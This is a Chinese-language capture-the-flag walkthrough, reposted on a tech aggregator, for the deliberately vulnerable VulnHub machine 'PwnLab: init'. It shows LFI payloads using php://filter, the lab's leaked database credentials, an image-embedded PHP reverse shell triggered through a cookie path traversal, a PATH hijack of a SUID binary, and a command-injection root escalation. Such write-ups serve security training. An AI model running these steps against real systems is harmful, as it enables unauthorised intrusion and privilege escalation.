IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> vulnhub PwnLab: init -> 正文阅读

[大数据]vulnhub PwnLab: init

本文思路

nmap扫描---->dirb扫描---->nikto扫描---->LFI读取config.php,获得数据库账号密码---->远程登录mysql找到网站用户账户---->上传图片马,通过LFI(cookie参数值)获得反弹shell---->修改$PATH配合suid得到mike的shell---->suid结合命令注入提权

环境信息

攻击机ip:192.168.101.25

靶机ip:192.168.101.37

具体步骤

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.101.37

扫描到80端口是Apache httpd,3306端口开放mysql,推测网站应该是apache+php+mysql的组合。

一个可能的思路是:既然3306端口对外开放,那么有可能需要远程连接mysql,也就是说,有可能需要找到mysql账号密码。

?? ? ? ?

步骤2:dirb扫描网站目录,以及网站探索

dirb http://192.168.101.37

从扫描结果(index.php)可以确定网站服务端语言是php?

访问??http://192.168.101.37/index.php ,提示上传图片。

从上图可见,网站主页上还有Login和Upload两个链接,点Login会出现登录框,点Upload会提示需要先登录。

?根据dirb扫描结果,访问 http://192.168.101.37/images/,是包含一个.png文件的目录

访问??http://192.168.101.37/upload/,目前为空目录

?

步骤3:nikto扫描

nikto -host 192.168.101.37

扫描结果如上图所示,扫描结果中说http://192.168.101.37/config.php可能有数据库的ID和密码,访问一下这个页面试试。

页面上啥也没有,可能全是php代码?

再访问一下 http://192.168.101.37/login.php 试试

和从主页点Login后显示的页面对比,发现表单长得很像

对比一下网页源代码,下面第一张图是直接访问 http://192.168.101.37/login.php ,第二张图是访问?http://192.168.101.37/?page=login ,可以看到表单部分的代码确实是完全一样的。

合理推断,page=后面的参数值可能就是php文件名,这边有可能存在文件包含的动作。

步骤4:利用LFI读取config.php,获得数据库账号密码

如果http://192.168.101.37/?page=处存在本地文件包含漏洞,则可以利用php://filter读取config.php的内容。根据nikto扫描结果,login.php和config.php位于相同目录下,因此可以构造如下url

http://192.168.101.37/?page=php://filter/convert.base64-encode/resource=config

在浏览器中输入上述url,得到base64编码的config.php的内容

解码之后发现config.php的明文内容如下,数据库的用户名是root,密码是H4u%QJ_H99?

<?php
$server?? ? ?= "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>?

步骤5: 远程登录mysql找到网站用户账户

用上一步中找到的账户密码(root : H4u%QJ_H99)远程登录靶机的mysql

mysql -h 192.168.101.37 -u root -p

然后依次输入

MySQL [(none)]> show databases;
MySQL [(none)]> use Users;
MySQL [Users]> show tables;
MySQL [Users]> select * from users;

得到网站的用户名和base64编码的密码

base64解码之后得到三个账户密码

kentJWzXuBJJNy
mikeSIfdsTEn6I
kaneiSv5Ym2GRo

??

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

这三组账号密码都可以用于 http://192.168.101.37/?page=login 处的登录。

步骤6:尝试上传反弹shell并利用LFI执行

随便用上个步骤中找到的一个账户登录网站,来到上传文件的页面 http://192.168.101.37/?page=upload

直接上传php文件显示上传失败,只允许上传图片。

上传图片马(jpg文件最后插入php反弹shell代码,反弹shell代码为linux自带的/usr/share/webshells/php/php-reverse-shell.php,注意替换$ip和$port),可以上传成功。

右键 复制图片地址,可以发现图片在upload文件夹下,且被重命名为5aa99052c87e783fa1ab9dc6b1cbaf44.jpg

由于http://192.168.101.37/?page=包含文件的时候,自动加上文件后缀.php,所以其实如果要用上传文件并利用本地文件包含来执行,还是需要最终文件后缀是.php。

用读取config.php文件内容的方法读取upload.php的内容。浏览器访问

http://192.168.101.37/?page=php://filter/convert.base64-encode/resource=upload

base64解码后得到upload.php的内容如下,看不出来怎么才能使最终保存下来的文件后缀是.php

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

步骤7:利用cookie参数值触发LFI getshell

用读取config.php文件内容的方法读取index.php的内容。浏览器访问

http://192.168.101.37/?page=php://filter/convert.base64-encode/resource=index

base64解码后得到index.php的内容如下。

注意到index.php有两处include,之前感知到的include第二处,而第一处include则是在cookie中设置了lang参数的情况下,include当前目录下lang文件夹下cookie中lang参数的值表示的文件。

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

攻击机上用nc监听2333端口

nc -nlvp 2333

在火狐浏览器中用步骤5中找到的账户登录,hackbar中点Load URL,勾选Cookies,在cookie头中增加?

;lang=../upload/5aa99052c87e783fa1ab9dc6b1cbaf44.jpg

使include函数能包含步骤6中上传的图片马。

最后点Execute,攻击机上nc监听的端口出现www-data用户的反弹shell

?

反弹shell中输入如下命令获得交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

?

步骤8: 修改$PATH配合suid得到mike的shell

反弹shell中进入/home目录,发现当前用户没有自己的home目录,但是另外4个用户有。4个用户中,john不知道哪儿来的,kane,kent和mike是老熟人,三位的网站账户密码在步骤5中已经泄露了。?

用步骤5中的密码试试看可不可以用于系统登录,尝试之后发现kent和kane是可以登录的,mike无法登录,/home/kent下面什么有意思的东西都没有

切换到kane账号

su kane

注意到/home/kane目录下有个可执行并且有suid的文件msgmike?

执行一下试试。

执行过程中报错,执行cat命令时没找到/home/mike/msg.txt文件

?

这一下把我整不会了,进入知识盲区了,不知道接下来怎么办了。

看了vulnhub官方收录的walkthrough之后,才知道原来这里由于cat命令没有用绝对路径指定,所以可以创建一个名为cat的文件,实际内容是启动一个shell的命令,然后将该文件所在路径加到$PATH变量的最前面,使msgmike执行到调用cat的语句时执行该文件,从而启动mike用户的shell。

开始之前先看一下/etc/passwd文件,看看mike是哪种登录shell

cat /etc/passwd

是/bin/bash?

接下来依次输入如下三条命令,他们的含义依次是:

创建内容为/bin/bash,名为cat的文件

赋予cat文件执行权限

将cat文件所在目录/home/kane加入到$PATH变量中

kane@pwnlab:~$ echo "/bin/bash" > cat
kane@pwnlab:~$ chmod +x cat
kane@pwnlab:~$ export PATH=/home/kane:$PATH

此时?$PATH变量 如下

?

执行

kane@pwnlab:~$ ./msgmike

得到mike的shell

?

步骤9:suid结合命令注入提权

/home/mike下也有一个有suid的可执行文件msg2root,属主是root,应该是用来提权的

?尝试了几下,这个文件执行后会回显输入的参数,似乎是执行了echo命令

用strings命令观察一下msg2root的可读内容

mike@pwnlab:/home/mike$ strings msg2root

确实执行了echo命令,如果命令行输入的参数是没有经过处理直接拼接到echo命令后的,就可以利用命令注入来获得shell。

?

来试试在Message for root:提示符之后输入如下命令

hello;/bin/sh

得到root的shell(这边用/bin/bash不行,暂时不知道原因)?

?

在/root目录下找到flag.txt?

?

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-01-04 13:29:40  更:2022-01-04 13:31:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 13:33:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码